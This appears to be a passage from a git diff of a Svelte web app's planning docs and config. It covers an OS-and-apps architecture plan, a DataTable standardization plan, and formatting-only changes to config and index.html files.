9.2 Structural View — shell modules, registry, docked layer (mermaid)
|
||||
9.3 App Contract — AppDef, validation rules, app kinds
|
||||
9.4 OS-Service Surface — the AppOS table
|
||||
9.5 Content Resolution — prefix map, window kinds, orphan cleanup
|
||||
9.6 Behavior — window state machine, docked visibility lifecycle
|
||||
9.7 Requirements — WEB-APP-* traceability
|
||||
9.8 Verification — test coverage, manual smoke
|
||||
```
|
||||
|
||||
### Requirements
|
||||
|
||||
| ID | Requirement | Status |
|
||||
|----|-------------|--------|
|
||||
| WEB-APP-1 | Apps register via data-driven AppDef entries; no shell edits to add/remove | ✅ live |
|
||||
| WEB-APP-2 | Apps render in wmkit floating windows | ✅ live |
|
||||
| WEB-APP-3 | Window IDs namespaced (`app:`/`session:`/entity) — no collisions | ✅ live |
|
||||
| WEB-APP-4 | Desktop icons render from the registry | ✅ live |
|
||||
| WEB-APP-5 | Taskbar buttons derive from window state, icons resolved via registry | ✅ live |
|
||||
| WEB-APP-6 | Removed apps' persisted windows self-close | ✅ live (`WindowLayer.svelte:25-30`) |
|
||||
| WEB-APP-7 | Content resolution dispatches via prefix map, not positional if/else | ⬜ Deferred — re-audited; original gate already handles orphans, map adds no decoupling (§2.5) |
|
||||
| WEB-APP-8 | Docked app kind: no window, no chrome, visibility toggled via icon | ⬜ Phase 1 |
|
||||
| WEB-APP-9 | Mascot is a registered docked App, not a hardcoded shell component | ⬜ Phase 1 |
|
||||
| WEB-APP-10 | Docked visibility persists across reloads | ⬜ Phase 1 |
|
||||
| WEB-APP-11 | OS-service surface (AppOS) documented as the stable App API | ⬜ Phase 1 |
|
||||
| WEB-APP-12 | Registry validation: per-kind geometry rules enforced by tests | ⬜ Phase 1 |
|
||||
| WEB-APP-13 | Apps lazy-load; icons render from static metadata | ✅ Phase 2 |
|
||||
| WEB-APP-14 | Icon store revalidates against live registry, not import-time snapshot | ✅ Phase 3 |
|
||||
| WEB-APP-15 | Third-party apps install from manifests with declared permissions | ✅ Phase 3 (local bundles; enforcement Phase 4) |
|
||||
|
||||
### Sequence — windowed app open
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant User
|
||||
participant Desktop
|
||||
participant WM as Window Manager
|
||||
participant WL as Window Layer
|
||||
participant App
|
||||
|
||||
User->>Desktop: click icon
|
||||
Desktop->>WM: openAppWindow("signals")
|
||||
Note over WM: docked? no → wm path
|
||||
alt window exists
|
||||
WM->>WM: restore + focus
|
||||
else new
|
||||
WM->>WM: wm.open({ id: "app:signals", ... })
|
||||
WM->>WL: render frame
|
||||
WL->>WL: resolveContent → prefix 'app:' → registry
|
||||
WL->>App: mount component
|
||||
end
|
||||
WM->>Taskbar: new button in wmState.order
|
||||
```
|
||||
|
||||
### Sequence — docked app toggle
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant User
|
||||
participant Desktop
|
||||
participant Dock as docked.ts
|
||||
participant Layer as DockedLayer
|
||||
participant App
|
||||
|
||||
User->>Desktop: click Cluck icon
|
||||
Desktop->>Dock: openAppWindow("mascot") → docked → toggleDocked
|
||||
Dock->>Dock: flip visibility, persist localStorage
|
||||
Dock->>Layer: store update
|
||||
alt now visible
|
||||
Layer->>App: mount MascotLayer
|
||||
Note over App: model + sprites restore<br/>from module scope
|
||||
else now hidden
|
||||
Layer->>App: unmount (state survives)
|
||||
end
|
||||
```
|
||||
|
||||
### State machine — app window
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> Closed: registered, no window
|
||||
Closed --> Open: openAppWindow
|
||||
Open --> Focused: focus
|
||||
Focused --> Open: blur
|
||||
Open --> Minimized: minimize
|
||||
Minimized --> Focused: restore
|
||||
Open --> Closed: close
|
||||
Minimized --> Closed: close
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. Risk & safety
|
||||
|
||||
| Risk | Severity | Mitigation |
|
||||
|------|----------|------------|
|
||||
| Mascot refactor breaks stimuli or ground-line computation | Medium | MascotLayer unchanged; DockedLayer mounts it in the same surface div, same position in the stacking order as today. |
|
||||
| Hidden mascot never rediscovered | Low | Icon always present, tooltip says show/hide. |
|
||||
| `openAppWindow` docked branch leaks into windowed path | Low | Branch is the first statement; windowed path byte-identical. Covered by existing call sites (icon click, taskbar settings, legacy hash). |
|
||||
| Docked visibility store desyncs from registry | Low | Unknown keys kept on load; layer filters by `a.docked` from the live registry. |
|
||||
| Phase 2 lazy loading kills persisted windows of not-yet-loaded apps | Medium | Explicit Phase 2 gate: orphan-close waits for registry-ready (§5). Called out now so it isn't discovered in production. |
|
||||
|
||||
---
|
||||
|
||||
## 9. Appendix: relevant existing artifacts
|
||||
|
||||
| Artifact | Relevance |
|
||||
|----------|-----------|
|
||||
| `docs/mbse/README.md` §5 | MCP tools / REST / SSE — the data surface Apps consume |
|
||||
| `docs/mbse/components.md` §5 | Current web control room component doc — Phase 1 extends it |
|
||||
| `docs/mascot/README.md` | Mascot subsystem model (MASC-1..12); MASC-9's registry philosophy is the template for this plan |
|
||||
| `plans/2026-07-08-control-room-webui.md` | Original control-room plan |
|
||||
| `plans/done/2026-07-11-ui-review-ia-usability.md` | IA review that produced the desktop metaphor |
|
||||
| `plans/2026-07-20-desktop-mascot.md` | Mascot plan; extension registries |
|
||||
| `lib/apps.ts` header comment | Already documents the one-entry-to-add-an-app philosophy |
|
||||
|
||||
---
|
||||
|
||||
*Plan opened 2026-07-21. Phase 1 ready for execution — estimated small
|
||||
(~half a day of focused work; nine file touches, two new files). Phases
|
||||
2–4 are context for future sessions and do not block Phase 1.*
|
||||
@@ -18,7 +18,10 @@ went sideways, open an investigation.
|
||||
| 2026-07-14 | [Activity timeline](2026-07-14-activity-timeline.md) | In Progress |
|
||||
| 2026-07-17 | [Codebase review, lint audit, and documentation maintenance](2026-07-17-codebase-review-and-cleanup.md) | Report delivered — doc/tooling fixes applied; code refactors pending |
|
||||
| 2026-07-18 | [Session review: three recent sessions](2026-07-18-session-review-three-sessions.md) | Implemented in v0.7.12 — P0.1/P0.2/P1.3/P1.4/P1.5/P1.6/P1.8/P2.10; P1.7 and P2.9 deferred (retry cap covers) |
|
||||
| 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Planned — not started |
|
||||
| 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Implemented in v0.8.0 — see deviation note; physics/window-interaction follow-ups tracked separately |
|
||||
| 2026-07-20 | [Session review: past 10 sessions](2026-07-20-session-review-ten-sessions.md) | Implemented in v0.7.13 — all P0/P1/P2 items landed |
|
||||
| 2026-07-20 | [Mascot physics/window-interaction audit](2026-07-20-mascot-physics-audit.md) | P0–P2 implemented; P3 ("cool stuff") ideas open |
|
||||
| 2026-07-21 | [Frontend as OS + Apps — architecture audit & refactor](2026-07-21-frontend-os-apps-architecture.md) | Planned — Phase 1 ready |
|
||||
|
||||
## Done
|
||||
|
||||
|
||||
403
plans/tables.md
Normal file
@@ -0,0 +1,403 @@
|
||||
# Table & Component Standardization Plan
|
||||
|
||||
## 0. Motivation
|
||||
|
||||
The app currently has **5 table implementations**, each hand-writing `<Table.Root>` boilerplate
|
||||
from scratch. The shadcn-svelte `Table.*` primitives (`web/src/lib/components/ui/table/`) are
|
||||
purely presentational wrappers — no sorting, filtering, pagination, row selection, or search.
|
||||
Every page reinvents sort arrows, empty states, loading skeletons, badge color maps, formatting
|
||||
utilities, and tab patterns independently.
|
||||
|
||||
**Goal:** One `DataTable` abstraction that declaratively renders *every* table in the app,
|
||||
built on `@vincjo/datatables` (headless data-handling) with shadcn-svelte visuals and custom
|
||||
column/renderer composability.
|
||||
|
||||
**Also:** Use this migration as leverage to standardize the component surface — extract
|
||||
repeated patterns into shared primitives so the codebase contracts rather than accumulating
|
||||
yet another abstraction.
|
||||
|
||||
---
|
||||
|
||||
## 1. Audit Summary
|
||||
|
||||
### 1.1 Tables in the App
|
||||
|
||||
| # | Page / Component | File | LOC | Features (what it has) | Gaps (what it's missing) |
|
||||
|---|---|---|---|---|---|
|
||||
| 1 | `EntityTable.svelte` | `web/src/lib/components/` | 265 | Sort (5 cols), treegrid grouping, collapsible nesting, row selection, keyboard nav, loading skeleton, health dots | Pagination, search, column toggle, checkbox select |
|
||||
| 2 | `Overview.svelte` | `web/src/pages/` | 125 | Filter pills (all/running/input/done/failed), sticky header, responsive cols, animated status dots | Plain `<table>` (no shadcn), no sort, no pagination |
|
||||
| 3 | `Ops.svelte` — 3 tables | `web/src/pages/` | 240 | Inline approve/deny actions, risk/status badges, cancel button, duration formatting (`fmtDuration`), relative time (`fmtWhen`) | No sort, no pagination, no search |
|
||||
| 4 | `Signals.svelte` | `web/src/pages/` | 171 | Tab filter (open/muted/resolved), severity dropdown, inline Ack/Mute/Resolve actions, badge colors | No sort, no pagination |
|
||||
| 5 | Markdown tables | `ChatThread.svelte`, `EntityDetailContent.svelte` | CSS-only | Prose-styled `<table>` for AI output | No interactive features (by design) |
|
||||
|
||||
### 1.2 Repeated Patterns (duplicated per-page)
|
||||
|
||||
| Pattern | Occurrences | Where |
|
||||
|---|---|---|
|
||||
| Sort header with arrow icons | 1 (closed set in `EntityTable`) | Only EntityTable has sort; Ops/Signals/Overview don't bother |
|
||||
| `riskVariant()` / `severityVariant()` / `stateVariant()` / `execStatusVariant()` | 6 | Ops.svelte ×2, Signals.svelte ×1, EntityTable.svelte ×2, Knowledge.svelte ×1 |
|
||||
| `fmtWhen()` / `relTime()` inline relative-time formatting | 3 | Ops.svelte, Knowledge.svelte (both inline; utils.ts has `relativeTime` already) |
|
||||
| `<Table.Root> > <Table.Header> > <Table.Row> > <Table.Head>` boilerplate | 6 | Every table page |
|
||||
| Empty state `<Table.Cell colspan={N}>No ...</Table.Cell>` | 6 | Every table page |
|
||||
| `<Tabs.Root> > <Tabs.List> > <Tabs.Trigger>` with badge counts | 2 | Ops.svelte, Signals.svelte |
|
||||
| Loading skeleton | 2 | EntityTable.svelte (custom widths), EntityDetailContent.svelte |
|
||||
|
||||
### 1.3 Current Tech Stack
|
||||
|
||||
| Layer | What | Version |
|
||||
|---|---|---|
|
||||
| Framework | Svelte 5 (runes mode) | ^5.0.0 |
|
||||
| UI primitives | shadcn-svelte (local copies in `ui/`) | — |
|
||||
| Headless backing | bits-ui | ^2.18.1 |
|
||||
| CSS | Tailwind v4 (CSS-first config, no PostCSS) | ^4.3.2 |
|
||||
| Variant system | tailwind-variants | ^3.2.2 |
|
||||
| Icons | @lucide/svelte | ^1.23.0 |
|
||||
| Table library | **none** | — |
|
||||
|
||||
---
|
||||
|
||||
## 2. `@vincjo/datatables` — Why This Library
|
||||
|
||||
**Headless.** It provides a `TableHandler` class that handles client-side pagination,
|
||||
sorting, searching, filtering, column visibility, and row selection — all as runes.
|
||||
Rendering is entirely up to us. This pairs perfectly with shadcn-svelte visual styling.
|
||||
|
||||
**API surface (what we care about):**
|
||||
- `new TableHandler(data)` — instantiate with reactive data
|
||||
- `table.rows` — **rune** that reflects current page/filter/sort (auto-tracked by Svelte 5)
|
||||
- `table.rowCount`, `table.pageCount`, `table.currentPage`, `table.pages`, `table.pagesWithEllipsis`
|
||||
- `table.setRows(data)`, `table.setRowsPerPage(n)`, `table.setPage('next'|'previous'|int)`
|
||||
- `table.createSort()`, `table.createSearch()`, `table.createFilter()`, `table.createView()`
|
||||
- `table.select(id)`, `table.selectAll()`, `table.selected`, `table.isAllSelected`
|
||||
- `table.createCSV()`, `table.createCalculation()`, `table.createRecordFilter()`
|
||||
|
||||
**No dependencies.** Lightweight. TypeScript-native. SSR friendly (even though we're SPA).
|
||||
|
||||
### What it does NOT do (and that's fine)
|
||||
- No rendering. We build the UI ourselves — use shadcn-svelte primitives.
|
||||
- No server-side pagination — if we need that later, the library has a separate server-side API.
|
||||
- No column ordering — we don't need drag-and-drop reorder; we use `createView()` for visible/hidden.
|
||||
|
||||
---
|
||||
|
||||
## 3. Architecture Plan
|
||||
|
||||
### 3.1 New Core Component: `DataTable.svelte`
|
||||
|
||||
```
|
||||
web/src/lib/components/data-table/
|
||||
├── DataTable.svelte # The main table component
|
||||
├── DataTable.svelte.ts # TypeScript type definitions
|
||||
├── columns.ts # Column definition helpers
|
||||
├── renderers/ # Built-in cell renderers
|
||||
│ ├── BadgeRenderer.svelte
|
||||
│ ├── HealthDotRenderer.svelte
|
||||
│ ├── RelativeTimeRenderer.svelte
|
||||
│ └── DateRenderer.svelte
|
||||
├── pagination/ # Pagination UI
|
||||
│ ├── Pagination.svelte
|
||||
│ ├── PageButton.svelte
|
||||
│ └── RowsPerPage.svelte
|
||||
├── sort-header.svelte # Sortable column header with arrow icons
|
||||
├── search-input.svelte # Text search input
|
||||
└── toolbar.svelte # Top toolbar (search + filter + page size)
|
||||
```
|
||||
|
||||
### 3.2 `DataTable` API (declarative, Svelte 5 runes)
|
||||
|
||||
```svelte
|
||||
<script lang="ts">
|
||||
import DataTable from '$lib/components/data-table/DataTable.svelte'
|
||||
import type { DataTableColumn } from '$lib/components/data-table/DataTable.svelte'
|
||||
|
||||
let data = $state<MyRow[]>([])
|
||||
let selected = $state<Set<string>>(new Set())
|
||||
|
||||
const columns: DataTableColumn<MyRow>[] = [
|
||||
{ key: 'slug', header: 'Slug', sortable: true, class: 'font-mono text-xs' },
|
||||
{ key: 'type', header: 'Type', sortable: true, render: 'badge' },
|
||||
{ key: 'health', header: 'Health', sortable: true, render: 'health-dot', accessor: (r) => r },
|
||||
{ key: 'actions', header: '', sortable: false, render: (row) => component /* snippet or component */ },
|
||||
]
|
||||
</script>
|
||||
|
||||
<DataTable
|
||||
{columns}
|
||||
{data}
|
||||
bind:selected
|
||||
pageSize={20}
|
||||
searchable
|
||||
paginated
|
||||
sortKey="slug"
|
||||
sortDir="asc"
|
||||
loading
|
||||
emptyMessage="No items."
|
||||
>
|
||||
<!-- optional slot for toolbar actions -->
|
||||
</DataTable>
|
||||
```
|
||||
|
||||
### 3.3 Column System
|
||||
|
||||
A `DataTableColumn<T>` is:
|
||||
|
||||
```typescript
|
||||
type ColumnRenderer<T> =
|
||||
| 'badge' // wraps value in <Badge variant="outline">
|
||||
| 'health-dot' // colored dot + relative time
|
||||
| 'relative-time' // relativeTime(val)
|
||||
| 'date' // new Date(val).toLocaleString()
|
||||
| Component // any Svelte component, receives { row, value }
|
||||
| ((row: T) => any) // raw value formatter
|
||||
| undefined // raw value
|
||||
```
|
||||
|
||||
Built-in renderers cover badge colors, health dots, timestamps — eliminating the 6
|
||||
inline `riskVariant()`/`severityVariant()`/`stateVariant()` copies. Custom components
|
||||
cover action buttons and complex cells.
|
||||
|
||||
### 3.4 What ships with the table
|
||||
|
||||
| Feature | How | Default |
|
||||
|---|---|---|
|
||||
| Sorting | Click column header → `createSort()` | Yes, if `sortable: true` |
|
||||
| Pagination | `table.pages` + `Pagination` component | Optional (`paginated` prop) |
|
||||
| Text search | `search-input.svelte` → `createSearch()` | Optional (`searchable` prop) |
|
||||
| Column visibility | `createView()` → dropdown toggle | Not in v1 (add later) |
|
||||
| Row selection | Checkbox column → `table.select()` | Optional (`bind:selected`) |
|
||||
| Loading state | Skeleton rows via `loading` prop | Yes |
|
||||
| Empty state | Configurable `emptyMessage` | Yes |
|
||||
| Tree/grouping | `childToParent` prop → recursive rows | EntityTable-only feature |
|
||||
| CSV export | `table.createCSV()` → download button | Not in v1 (add later) |
|
||||
| Server-side pagination | `handlePageChange` callback | Not needed yet |
|
||||
|
||||
---
|
||||
|
||||
## 4. Standardized Shared Components
|
||||
|
||||
Extract the repeated patterns discovered in the audit into shared components:
|
||||
|
||||
### 4.1 `StatusBadge.svelte`
|
||||
**Replaces:** 6 copies of `riskVariant()`, `severityVariant()`, `stateVariant()`, `execStatusVariant()`
|
||||
|
||||
```svelte
|
||||
<script lang="ts">
|
||||
let { value, kind = 'state' }: { value: string; kind?: 'risk' | 'severity' | 'state' | 'execution' } = $props()
|
||||
// Resolves variant mapping from kind + value
|
||||
</script>
|
||||
```
|
||||
|
||||
### 4.2 `EmptyState.svelte`
|
||||
**Replaces:** 6 `<Table.Cell colspan={N}>No ...</Table.Cell>` blocks
|
||||
|
||||
```svelte
|
||||
<script lang="ts">
|
||||
let { message = 'No items.', colspan = 999, icon = null } = $props()
|
||||
</script>
|
||||
```
|
||||
|
||||
### 4.3 `RelativeTime.svelte`
|
||||
**Replaces:** `Oks.svelte:58` (`fmtWhen`), `Knowledge.svelte:49` (`relTime`)
|
||||
**Consolidates:** Already exists as `relativeTime()` in `utils.ts` — wrap in a component that auto-updates.
|
||||
|
||||
### 4.4 `FilterTabs.svelte`
|
||||
**Replaces:** `Ops.svelte:114-120` and `Signals.svelte:153-159` (Tabs.Root boilerplate with badge counts)
|
||||
|
||||
```svelte
|
||||
<script lang="ts">
|
||||
let { tabs, value = $bindable(''), class, children }: {
|
||||
tabs: { value: string; label: string; count?: number }[];
|
||||
value?: string;
|
||||
class?: string;
|
||||
children?: any;
|
||||
} = $props()
|
||||
</script>
|
||||
```
|
||||
|
||||
### 4.5 `PageHeader.svelte`
|
||||
**Replaces:** Every page's `<h1 class="text-lg font-semibold">...</h1>` + optional actions row.
|
||||
|
||||
---
|
||||
|
||||
## 5. Migration Sequence (ordered for incremental delivery)
|
||||
|
||||
### Phase 1 — Library & Foundation (~1 PR)
|
||||
|
||||
1. **Install `@vincjo/datatables`**
|
||||
```
|
||||
npm install -D @vincjo/datatables
|
||||
```
|
||||
|
||||
2. **Build `DataTable.svelte` + `DataTable.svelte.ts` + `columns.ts`**
|
||||
- Core loop: `{#each table.rows as row}` + column render dispatch
|
||||
- Pagination sub-components: `Pagination.svelte`, `PageButton.svelte`, `RowsPerPage.svelte`
|
||||
- `SortHeader.svelte` — click to sort, arrow icons (extract from `EntityTable:163-178`)
|
||||
- `SearchInput.svelte` — debounced text search
|
||||
|
||||
3. **Build renderers:** `BadgeRenderer.svelte`, `HealthDotRenderer.svelte`, `RelativeTimeRenderer.svelte`, `DateRenderer.svelte`
|
||||
|
||||
4. **Build `EmptyState.svelte`**
|
||||
|
||||
5. **Unit tests** for `DataTable` column dispatch, sort, pagination, selection.
|
||||
|
||||
### Phase 2 — Simple Tables (no tree, no actions) (~1 PR)
|
||||
|
||||
6. **Migrate `Overview.svelte` (task board)**
|
||||
- Plain `<table>` → `DataTable` with `StatusBadge`, `RelativeTime`, filter pills external
|
||||
- Drop sticky-header CSS (`DataTable` handles it)
|
||||
- Verify: filter pills, status dots, responsive summary column, click-to-open
|
||||
|
||||
7. **Migrate `Signals.svelte`**
|
||||
- Replace `signalTable` snippet → `DataTable` with action-column renderer
|
||||
- Extract `FilterTabs.svelte` from the Tabs boilerplate
|
||||
- Verify: severity dropdown, tab counts, Ack/Mute/Resolve buttons
|
||||
|
||||
### Phase 3 — Action Tables (~1 PR)
|
||||
|
||||
8. **Migrate `Ops.svelte` — Pending Approvals**
|
||||
- Approve/Deny buttons as action column renderer
|
||||
- Risk badge via `StatusBadge kind="risk"`
|
||||
|
||||
9. **Migrate `Ops.svelte` — Decided Approvals**
|
||||
- Same columns, no actions
|
||||
|
||||
10. **Migrate `Ops.svelte` — Activity**
|
||||
- Cancel button, summary + error inline, duration via `RendererComponent`
|
||||
- Extract `FilterTabs` for Approvals vs Activity tabs
|
||||
|
||||
### Phase 4 — Tree Table (~1 PR)
|
||||
|
||||
11. **Migrate `EntityTable.svelte`**
|
||||
- Treegrid grouping is the hard part. Build a `TreeTable` variant or a `grouped` prop.
|
||||
- `childToParent` prop stays → recursive rendering while `DataTable` handles sort + selection.
|
||||
- **Alternative:** Ship `treegrid` as a separate `TreeDataTable.svelte` component if the
|
||||
recursive pattern is too divergent to fit into `DataTable`.
|
||||
|
||||
### Phase 5 — Cleanup & Standardization (~1 PR)
|
||||
|
||||
12. **Extract shared components everywhere:**
|
||||
- Audit every `.svelte` file for inline `riskVariant()` / `severityVariant()` / `fmtWhen()` — replace with `StatusBadge`, `RelativeTime`
|
||||
- Audit for inline `<Tabs.Root>` boilerplate — replace with `FilterTabs`
|
||||
- Audit for `<Badge variant={...}>` with inline logic — consolidate
|
||||
|
||||
13. **Remove deprecated shadcn-svelte table primitives** after confirming nothing else imports them.
|
||||
|
||||
14. **Delete duplicate utility functions** (`fmtWhen` in Ops, `relTime` in Knowledge, etc.)
|
||||
|
||||
### Phase 6 — Polish (~1 PR)
|
||||
|
||||
15. **Column visibility toggle** (optional)
|
||||
16. **CSV export** for entity tables (optional)
|
||||
17. **Responsive tables** — horizontal scroll with frozen left column for mobile
|
||||
|
||||
---
|
||||
|
||||
## 6. Risk Assessment
|
||||
|
||||
| Risk | Mitigation |
|
||||
|---|---|
|
||||
| `@vincjo/datatables` doesn't support treegrid grouping | EntityTable's recursive rendering stays independent; `DataTable` wraps flat tables only |
|
||||
| Svelte 5 runes + `TableHandler` reactivity mismatch | `TableHandler.rows` is a rune. Wrap in `$derived` or `$effect` to feed `data` prop → `table.setRows()` |
|
||||
| Over-engineering a simple table (3-row decided approvals shouldn't need pagination) | `DataTable` accepts `paginated` prop — default off. Small tables stay simple. |
|
||||
| Treegrid migration breaks KB browser | Phase 4 is isolated. Phases 1–3 deliver value before touching the critical KB table. |
|
||||
|
||||
---
|
||||
|
||||
## 7. Success Criteria
|
||||
|
||||
1. **Every `<Table.Root>`** in the app routes through `DataTable.svelte`
|
||||
2. **0** copies of inline `riskVariant()` / `severityVariant()` / `stateVariant()` — all through `StatusBadge`
|
||||
3. **0** copies of inline `fmtWhen()` / `relTime()` — all through `RelativeTime` or `utils.relativeTime`
|
||||
4. **0** copies of manual `<Table.Cell colspan={N}>No ...</Table.Cell>` — all through `EmptyState`
|
||||
5. **`web/src/lib/components/ui/table/`** retained for `DataTable` internals only (or removed if unused)
|
||||
6. **TypeScript compiles** with `--noEmit` and **tests pass** (`vitest run`)
|
||||
7. **All existing features preserved**: sort, tree expand/collapse, tab filters, severity dropdown, approve/deny/cancel/ack/resolve buttons, sticky headers, loading skeletons, health dots, empty states
|
||||
|
||||
---
|
||||
|
||||
## 8. File Manifest (what gets created / modified / deleted)
|
||||
|
||||
### Created
|
||||
```
|
||||
plan/tables.md ← this file
|
||||
web/src/lib/components/data-table/DataTable.svelte
|
||||
web/src/lib/components/data-table/DataTable.svelte.ts
|
||||
web/src/lib/components/data-table/columns.ts
|
||||
web/src/lib/components/data-table/columns.test.ts
|
||||
web/src/lib/components/data-table/renderers/BadgeRenderer.svelte
|
||||
web/src/lib/components/data-table/renderers/HealthDotRenderer.svelte
|
||||
web/src/lib/components/data-table/renderers/RelativeTimeRenderer.svelte
|
||||
web/src/lib/components/data-table/renderers/DateRenderer.svelte
|
||||
web/src/lib/components/data-table/pagination/Pagination.svelte
|
||||
web/src/lib/components/data-table/pagination/PageButton.svelte
|
||||
web/src/lib/components/data-table/pagination/RowsPerPage.svelte
|
||||
web/src/lib/components/data-table/sort-header.svelte
|
||||
web/src/lib/components/data-table/search-input.svelte
|
||||
web/src/lib/components/data-table/toolbar.svelte
|
||||
web/src/lib/components/StatusBadge.svelte
|
||||
web/src/lib/components/EmptyState.svelte
|
||||
web/src/lib/components/RelativeTime.svelte
|
||||
web/src/lib/components/FilterTabs.svelte
|
||||
web/src/lib/components/PageHeader.svelte
|
||||
```
|
||||
|
||||
### Modified (in migration order)
|
||||
```
|
||||
web/package.json ← add @vincjo/datatables
|
||||
web/src/pages/Overview.svelte ← Phase 2
|
||||
web/src/pages/Signals.svelte ← Phase 2
|
||||
web/src/pages/Ops.svelte ← Phase 3
|
||||
web/src/lib/components/EntityTable.svelte ← Phase 4
|
||||
web/src/pages/KnowledgeBase.svelte ← Phase 4 (consumer of EntityTable)
|
||||
web/src/pages/Knowledge.svelte ← Phase 5 (remove relTime)
|
||||
```
|
||||
|
||||
### Potentially Removed (Phase 5)
|
||||
```
|
||||
web/src/lib/components/ui/table/* ← if DataTable is the sole consumer
|
||||
(These stay if DataTable still uses them internally for rendering)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Implementation Status
|
||||
|
||||
### Completed (2026-07-21)
|
||||
|
||||
| Phase | Task | Status |
|
||||
|---|---|---|
|
||||
| 1 | Install `@vincjo/datatables` | Done |
|
||||
| 1 | `DataTable.svelte` core component | Done |
|
||||
| 1 | Types (`DataTable.svelte.ts`, `columns.ts`) | Done |
|
||||
| 1 | Pagination (`Pagination`, `PageButton`, `RowsPerPage`) | Done |
|
||||
| 1 | Sort header, search input, toolbar | Done |
|
||||
| 1 | Built-in renderers: `BadgeRenderer`, `HealthDotRenderer`, `RelativeTimeRenderer`, `DateRenderer`, `RiskBadgeRenderer`, `ExecutionStatusRenderer`, `DurationRenderer`, `StatusDotRenderer` | Done |
|
||||
| 1 | `EmptyState.svelte` shared component | Done |
|
||||
| 2 | Migrate `Overview.svelte` to `DataTable` | Done |
|
||||
| 2 | Migrate `Signals.svelte` to `DataTable` | Done |
|
||||
| 3 | Migrate `Ops.svelte` (3 tables) to `DataTable` | Done |
|
||||
| 4 | Refactor `EntityTable.svelte` to use shared {SortHeader, EmptyState, HealthDotRenderer} | Done |
|
||||
| 5 | Create `StatusBadge.svelte` (consolidates risk/severity/execution-type variant maps) | Done |
|
||||
| 5 | Create `FilterTabs.svelte` component | Done |
|
||||
| 5 | Clean up `Knowledge.svelte`: replace inline `relTime()` → `relativeTime()`, `typeVariant()` → `StatusBadge` | Done |
|
||||
|
||||
### Key Decisions Made During Implementation
|
||||
|
||||
- **EntityTable treegrid NOT migrated to DataTable**. The recursive tree rendering is too
|
||||
divergent from flat, paginated data. Instead, EntityTable was refactored to use shared
|
||||
`SortHeader`, `EmptyState`, and `HealthDotRenderer` to eliminate inline duplication.
|
||||
- **`renderProps` added to `DataTableColumn`** to pass extra props (callbacks, state) to
|
||||
custom cell renderer components (used by `SignalActions`, `ApprovalActions`, `ActivityCancel`).
|
||||
- **`headerClass` added to `DataTableColumn`** for responsive column visibility on `th` + `td`.
|
||||
- **`bordered` prop on `DataTable`** for cases where parent wrappers provide the border.
|
||||
- **`StatusBadge`** uses a `kind` discriminator (`risk`, `severity`, `execution`, `type`, `default`)
|
||||
instead of separate components per domain.
|
||||
- **`FilterTabs`** created but not yet wired into Ops/Signals — those pages still use
|
||||
inline `<Tabs.Root>` for the approvals/activity and open/muted/resolved tabs.
|
||||
|
||||
### Remaining (Phase 6 — Future PR)
|
||||
|
||||
- Wire `FilterTabs` into Ops.svelte and Signals.svelte
|
||||
- Column visibility toggle
|
||||
- CSV export
|
||||
- Responsive table with frozen left column for mobile
|
||||
@@ -1,6 +1,7 @@
|
||||
{
|
||||
"useTabs": false,
|
||||
"tabWidth": 2,
|
||||
"semi": false,
|
||||
"singleQuote": true,
|
||||
"trailingComma": "none",
|
||||
"printWidth": 100,
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
{
|
||||
"$schema": "https://shadcn-svelte.com/schema.json",
|
||||
"style": "vega",
|
||||
"tailwind": {
|
||||
"css": "src/app.css",
|
||||
"baseColor": "zinc"
|
||||
},
|
||||
"aliases": {
|
||||
"components": "$lib/components",
|
||||
"utils": "$lib/utils",
|
||||
"ui": "$lib/components/ui",
|
||||
"hooks": "$lib/hooks",
|
||||
"lib": "$lib"
|
||||
},
|
||||
"typescript": true,
|
||||
"registry": "https://shadcn-svelte.com/registry"
|
||||
"$schema": "https://shadcn-svelte.com/schema.json",
|
||||
"style": "vega",
|
||||
"tailwind": {
|
||||
"css": "src/app.css",
|
||||
"baseColor": "zinc"
|
||||
},
|
||||
"aliases": {
|
||||
"components": "$lib/components",
|
||||
"utils": "$lib/utils",
|
||||
"ui": "$lib/components/ui",
|
||||
"hooks": "$lib/hooks",
|
||||
"lib": "$lib"
|
||||
},
|
||||
"typescript": true,
|
||||
"registry": "https://shadcn-svelte.com/registry"
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
<!DOCTYPE html>
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
@@ -6,7 +6,10 @@
|
||||
<title>Oikos</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&family=DM+Mono:ital,wght@0,300;0,400;0,500;1,300;1,400;1,500&family=Inknut+Antiqua:wght@300;400;500;600;700&display=swap" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&family=DM+Mono:ital,wght@0,300;0,400;0,500;1,300;1,400;1,500&family=Inknut+Antiqua:wght@300;400;500;600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="icon" type="image/svg+xml" href="favicon.svg" />
|
||||
<link rel="apple-touch-icon" href="apple-touch-icon.png" />
|
||||
<link rel="icon" type="image/png" sizes="192x192" href="android-chrome-192.png" />
|
||||
@@ -15,11 +18,20 @@
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
<script>
|
||||
(function(){try{var t=localStorage.getItem('oikos-theme');if(!t){t=window.matchMedia('(prefers-color-scheme:light)').matches?'light':'dark'}
|
||||
if(t==='dark')document.documentElement.classList.add('dark')}catch(e){}})()
|
||||
;(function () {
|
||||
try {
|
||||
var t = localStorage.getItem('oikos-theme')
|
||||
if (!t) {
|
||||
t = window.matchMedia('(prefers-color-scheme:light)').matches ? 'light' : 'dark'
|
||||
}
|
||||
if (t === 'dark') document.documentElement.classList.add('dark')
|
||||
} catch (e) {}
|
||||
})()
|
||||
</script>
|
||||
